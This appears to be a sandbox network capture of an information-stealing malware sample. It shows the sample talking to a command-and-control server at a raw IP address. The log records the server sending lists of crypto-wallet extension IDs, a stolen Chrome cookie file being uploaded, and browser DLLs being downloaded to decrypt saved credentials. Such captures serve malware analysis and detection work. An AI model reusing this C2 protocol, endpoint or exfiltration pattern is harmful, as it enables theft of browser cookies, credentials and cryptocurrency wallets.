OZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdh [TRUNCATED]
Oct 11, 2024 22:32:25.054198980 CEST	224	IN	Data Raw: 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 Data Ascii: bWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98
Oct 11, 2024 22:32:25.054214001 CEST	1236	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 31 68 59 57 4e 6f 63 48 42 75 61 32 70 6e 62 6d 6c 73 5a 48 42 6b 62 57 74 68 59 57 74 6c 61 6d Data Ascii: MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2xoa2tlbmZlbHwxfDB8MHxDb2luOTggV2F
Oct 11, 2024 22:32:25.054236889 CEST	1236	IN	Data Raw: 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d 39 34 66 47 31 75 5a 6d Data Ascii: bXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF
Oct 11, 2024 22:32:25.054253101 CEST	1236	IN	Data Raw: 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 35 73 62 57 70 6c 5a 57 Data Ascii: cGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2F
Oct 11, 2024 22:32:25.054270029 CEST	1236	IN	Data Raw: 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 Data Ascii: cGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFd
Oct 11, 2024 22:32:25.054740906 CEST	908	IN	Data Raw: 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 Data Ascii: ZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWh
Oct 11, 2024 22:32:25.061533928 CEST	468	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHIIEHJKKECGCBFIIJD Host: 45.66.249.162 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 39 33 37 30 65 63 61 32 34 35 63 31 31 63 63 31 63 38 36 33 38 31 61 63 38 35 36 34 63 61 61 33 37 30 33 66 62 31 32 38 64 39 33 65 35 64 65 64 63 36 33 66 35 61 35 63 39 37 38 39 35 37 30 63 33 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 2d 2d 0d 0a Data Ascii: ------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------CFHIIEHJKKECGCBFIIJDContent-Disposition: form-data; name="message"fplugins------CFHIIEHJKKECGCBFIIJD--
Oct 11, 2024 22:32:25.525747061 CEST	303	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 108 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 11, 2024 22:32:25.553062916 CEST	201	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFIDGDBGCAAFIDHIJKEH Host: 45.66.249.162 Content-Length: 5547 Connection: Keep-Alive Cache-Control: no-cache
Oct 11, 2024 22:32:25.553064108 CEST	5547	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 49 44 47 44 42 47 43 41 41 46 49 44 48 49 4a 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 Data Ascii: ------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------AFIDGDBGCAAFIDHIJKEHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 11, 2024 22:32:26.110932112 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 11, 2024 22:32:26.111732006 CEST	92	OUT	GET /55145c8889ec57f2/sqlite3.dll HTTP/1.1 Host: 45.66.249.162 Cache-Control: no-cache
Oct 11, 2024 22:32:26.575445890 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:26 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 12:30:30 GMT ETag: "10e436-5e7ed3ec64580" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B
Oct 11, 2024 22:32:26.575520039 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 Data Ascii: @0B/70#N@B/81s:<R@B/92P @B
Oct 11, 2024 22:32:26.575561047 CEST	1236	IN	Data Raw: 0a 00 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 47 f7 0a 00 83 ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed Data Ascii: \|$D$4$Gtu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$r
Oct 11, 2024 22:32:28.563427925 CEST	951	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJDGCAEBFIIECAKFHIJ Host: 45.66.249.162 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 39 33 37 30 65 63 61 32 34 35 63 31 31 63 63 31 63 38 36 33 38 31 61 63 38 35 36 34 63 61 61 33 37 30 33 66 62 31 32 38 64 39 33 65 35 64 65 64 63 36 33 66 35 61 35 63 39 37 38 39 35 37 30 63 33 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzg3MzgJMVBfSkFSCTIwMjMtMTAtMDUtMDgKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk3OTM4CU5JRAk1MTE9b3JjU0lub1pCYjZTcncwUGRQTU5lTEdLc2VnZkxpLXRRbnZpaG81aEtKWEtETmcwa1hJUG5mVGN1d1Y1cjdScWpUODkzcFdHSkY3a2xLcWxkQm9qNHJESnZ4ZkZsZ0RPQ2NXOWFLRG5VOXpJbFVoMkxQMHZPOGszdVQwZ0hKRDFKdlZBY2xrSm5Ld1pHNmhEQWw2MkhyTXhOclVlcVNSLVdGMUotbDlZWWdFCg==------GIJDGCAEBFIIECAKFHIJ--
Oct 11, 2024 22:32:29.061657906 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 11, 2024 22:32:29.169013023 CEST	563	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIID Host: 45.66.249.162 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 39 33 37 30 65 63 61 32 34 35 63 31 31 63 63 31 63 38 36 33 38 31 61 63 38 35 36 34 63 61 61 33 37 30 33 66 62 31 32 38 64 39 33 65 35 64 65 64 63 36 33 66 35 61 35 63 39 37 38 39 35 37 30 63 33 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="file"------JKECFCFBGDHIECAAFIID--
Oct 11, 2024 22:32:29.648264885 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 11, 2024 22:32:30.941468000 CEST	563	OUT	POST /9e6547173a597645.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDB Host: 45.66.249.162 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 63 37 62 35 30 39 33 37 30 65 63 61 32 34 35 63 31 31 63 63 31 63 38 36 33 38 31 61 63 38 35 36 34 63 61 61 33 37 30 33 66 62 31 32 38 64 39 33 65 35 64 65 64 63 36 33 66 35 61 35 63 39 37 38 39 35 37 30 63 33 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="token"ec7b509370eca245c11cc1c86381ac8564caa3703fb128d93e5dedc63f5a5c9789570c33------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="file"------IDHIDBAEGIIIDHJKEGDB--
Oct 11, 2024 22:32:31.401715040 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 11, 2024 22:32:31.890965939 CEST	92	OUT	GET /55145c8889ec57f2/freebl3.dll HTTP/1.1 Host: 45.66.249.162 Cache-Control: no-cache
Oct 11, 2024 22:32:32.372448921 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:32 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "a7550-5e7ea271b0900" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 11, 2024 22:32:33.678904057 CEST	92	OUT	GET /55145c8889ec57f2/mozglue.dll HTTP/1.1 Host: 45.66.249.162 Cache-Control: no-cache
Oct 11, 2024 22:32:33.914583921 CEST	92	OUT	GET /55145c8889ec57f2/mozglue.dll HTTP/1.1 Host: 45.66.249.162 Cache-Control: no-cache
Oct 11, 2024 22:32:34.427961111 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:34 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "94750-5e7ea271b0900" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 11, 2024 22:32:35.550087929 CEST	93	OUT	GET /55145c8889ec57f2/msvcp140.dll HTTP/1.1 Host: 45.66.249.162 Cache-Control: no-cache
Oct 11, 2024 22:32:36.031583071 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:35 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "6dde8-5e7ea271b0900" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 11, 2024 22:32:37.050220013 CEST	89	OUT	GET /55145c8889ec57f2/nss3.dll HTTP/1.1 Host: 45.66.249.162 Cache-Control: no-cache
Oct 11, 2024 22:32:37.553493023 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 11 Oct 2024 20:32:37 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 08:49:08 GMT ETag: "1f3950-5e7ea271b0900" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 